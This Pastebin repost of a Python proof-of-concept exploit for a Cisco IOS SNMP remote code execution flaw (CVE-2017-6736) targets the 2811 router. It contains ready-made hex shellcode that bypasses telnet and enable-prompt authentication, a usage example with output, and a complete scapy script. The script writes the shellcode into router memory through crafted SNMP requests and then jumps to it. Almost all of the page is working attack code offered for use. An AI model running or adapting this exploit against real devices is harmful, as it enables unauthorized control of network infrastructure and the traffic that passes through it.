SHARE
TWEET

[CISCO EXPLOIT LOADER]

xB4ckdoorREAL Nov 4th, 2018 (edited) 392 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. # DISCORD: https://discord.gg/PTW3yPp
  3. if False: '''
  4. CVE-2017-6736 / cisco-sa-20170629-snmp Cisco IOS remote code execution
  5. ===================
  6.  
  7.  
  8. This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability in SNMP service disclosed by Cisco Systems on June 29th 2017 - <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170629-snmp>
  9.  
  10.  
  11. Description
  12. -------------
  13.  
  14. RCE exploit code is available for Cisco Integrated Service Router 2811. This exploit is firmware dependent. The latest firmware version is supported:
  15.  
  16. - Cisco IOS Software, 2800 Software (C2800NM-ADVENTERPRISEK9-M), Version 15.1(4)M12a, RELEASE SOFTWARE (fc1)
  17.  
  18. ROM Monitor version:
  19.  
  20. - System Bootstrap, Version 12.4(13r)T, RELEASE SOFTWARE (fc1)
  21.  
  22.  
  23. Read-only community string is required to trigger the vulnerability.
  24.  
  25.  
  26.  
  27. Shellcode
  28. ------------
  29.  
  30. The exploit requires shellcode as HEX input. This repo contains an example shellcode for bypassing authentication in telnet service and in enable prompt. Shellcode to revert changes is also available. If you want to write your own shellcode feel free to do so. Just have two things in mind:
  31.  
  32. - Don't upset the watchdog by running your code for too long. Call a sleep function once in a while.
  33. - Return execution flow back to SNMP service at the end. You can use last opcodes from the demo shellcode:
  34.  
  35. ```
  36. 3c1fbfc4    lui $ra, 0xbfc4
  37. 37ff89a8    ori $ra, $ra, 0x89a8
  38. 03e00008    jr  $ra
  39. 00000000    nop
  40. ```  
  41.  
  42.  
  43. Usage example
  44. -------------
  45.  
  46. ```
  47. $ sudo python c2800nm-adventerprisek9-mz.151-4.M12a.py 192.168.88.1 public 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000008eb60000000000003c1480003694f000ae96000000000000aea00000000000003c1fbfc437ff89a803e0000800000000
  48. Writing shellcode to 0x8000f000
  49. .
  50. Sent 1 packets.
  51. 0x8000f0a4: 8fb40250    lw  $s4, 0x250($sp)
  52. .
  53. Sent 1 packets.
  54. 0x8000f0a8: 00000000    nop
  55. .
  56. Sent 1 packets.
  57. 0x8000f0ac: 3c163e29    lui $s6, 0x3e29
  58. .
  59. Sent 1 packets.
  60. 0x8000f0b0: 36d655b0    ori $s6, $s6, 0x55b0
  61. ```
  62.  
  63. Notes
  64. -----------
  65.  
  66. Firmware verson can be read via snmpget command:
  67.  
  68. ```
  69. $ snmpget -v 2c -c public 192.168.88.1 1.3.6.1.2.1.1.1.0
  70.  
  71. SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, 2800 Software (C2800NM-ADVENTERPRISEK9-M), Version 15.1(4)M12a, RELEASE SOFTWARE (fc1)
  72. Technical Support: http://www.cisco.com/techsupport
  73. Copyright (c) 1986-2016 by Cisco Systems, Inc.
  74. Compiled Tue 04-Oct-16 03:37 by prod_rel_team
  75. ```
  76.  
  77. Author
  78. ------
  79.  
  80. Artem Kondratenko https://twitter.com/artkond
  81.  
  82.  
  83.  
  84.  
  85.  
  86. ## Shellcode
  87. 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000008eb60000000000003c1480003694f000ae96000000000000aea00000000000003c1fbfc437ff89a803e0000800000000
  88.  
  89. ## unset_shellcode
  90. 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000003c1480003694f0008e96000000000000aeb60000000000003c1fbfc437ff89a803e0000800000000
  91. '''
  92.  
  93. from scapy.all import *
  94. from time import sleep
  95. from struct import pack, unpack
  96. import random
  97. import argparse
  98. import sys
  99. from termcolor import colored
  100.  
  101.  
  102. try:
  103.     cs = __import__('capstone')
  104. except ImportError:
  105.     pass
  106.  
  107. def bin2oid(buf):
  108.     return ''.join(['.' + str(unpack('B',x)[0]) for x in buf])
  109.  
  110. def shift(s, offset):
  111.     res = pack('>I', unpack('>I', s)[0] + offset)
  112.     return res
  113.  
  114.  
  115.  
  116. alps_oid = '1.3.6.1.4.1.9.9.95.1.3.1.1.7.108.39.84.85.195.249.106.59.210.37.23.42.103.182.75.232.81{0}{1}{2}{3}{4}{5}{6}{7}.14.167.142.47.118.77.96.179.109.211.170.27.243.88.157.50{8}{9}.35.27.203.165.44.25.83.68.39.22.219.77.32.38.6.115{10}{11}.11.187.147.166.116.171.114.126.109.248.144.111.30'
  117. shellcode_start = '\x80\x00\xf0\x00'
  118.  
  119. if __name__ == '__main__':
  120.     parser = argparse.ArgumentParser()
  121.     parser.add_argument("host", type=str, help="host IP")
  122.     parser.add_argument("community", type=str, help="community string")
  123.     parser.add_argument("shellcode", action='store', type=str, help='shellcode to run (in hex)')
  124.     args = parser.parse_args()
  125.  
  126.  
  127.     sh_buf = args.shellcode.replace(' ','').decode('hex')
  128.     print 'Writing shellcode to 0x{}'.format(shellcode_start.encode('hex'))
  129.     if 'capstone' in sys.modules:
  130.         md = cs.Cs(cs.CS_ARCH_MIPS, cs.CS_MODE_MIPS32 | cs.CS_MODE_BIG_ENDIAN)
  131.  
  132.     for k, sh_dword in enumerate([sh_buf[i:i+4] for i in range(0, len(sh_buf), 4)]):
  133.         s0 = bin2oid(sh_dword)  # shellcode dword
  134.         s1 = bin2oid('\x00\x00\x00\x00')
  135.         s2 = bin2oid('\xBF\xC5\xB7\xDC')
  136.         s3 = bin2oid('\x00\x00\x00\x00')
  137.         s4 = bin2oid('\x00\x00\x00\x00')
  138.         s5 = bin2oid('\x00\x00\x00\x00')
  139.         s6 = bin2oid('\x00\x00\x00\x00')
  140.         ra = bin2oid('\xbf\xc2\x2f\x60') # return control flow jumping over 1 stack frame
  141.         s0_2 = bin2oid(shift(shellcode_start, k * 4))
  142.         ra_2 = bin2oid('\xbf\xc7\x08\x60')
  143.         s0_3 = bin2oid('\x00\x00\x00\x00')
  144.         ra_3 = bin2oid('\xBF\xC3\x86\xA0')
  145.          
  146.         payload = alps_oid.format(s0, s1, s2, s3, s4, s5, s6, ra, s0_2, ra_2, s0_3, ra_3)
  147.          
  148.         send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community=args.community,PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)])))
  149.  
  150.         cur_addr = unpack(">I",shift(shellcode_start, k * 4 + 0xa4))[0]
  151.         if 'capstone' in sys.modules:
  152.             for i in md.disasm(sh_dword, cur_addr):
  153.                 color = 'green'
  154.                 print("0x%x:\t%s\t%s\t%s" %(i.address, sh_dword.encode('hex'), colored(i.mnemonic, color), colored(i.op_str, color)))
  155.         else:
  156.             print("0x%x:\t%s" %(cur_addr, sh_dword.encode('hex')))
  157.              
  158.         sleep(1)
  159.  
  160.     ans = raw_input("Jump to shellcode? [yes]: ")
  161.  
  162.     if ans == 'yes':
  163.         ra = bin2oid(shift(shellcode_start, 0xa4)) # return control flow jumping over 1 stack frame
  164.         zero = bin2oid('\x00\x00\x00\x00')
  165.         payload = alps_oid.format(zero, zero, zero, zero, zero, zero, zero, ra, zero, zero, zero, zero)
  166.         send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community=args.community,PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)])))
  167.         print 'Jump taken!'
  168.  
  169. #  0day.today [2018-04-14]  #
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top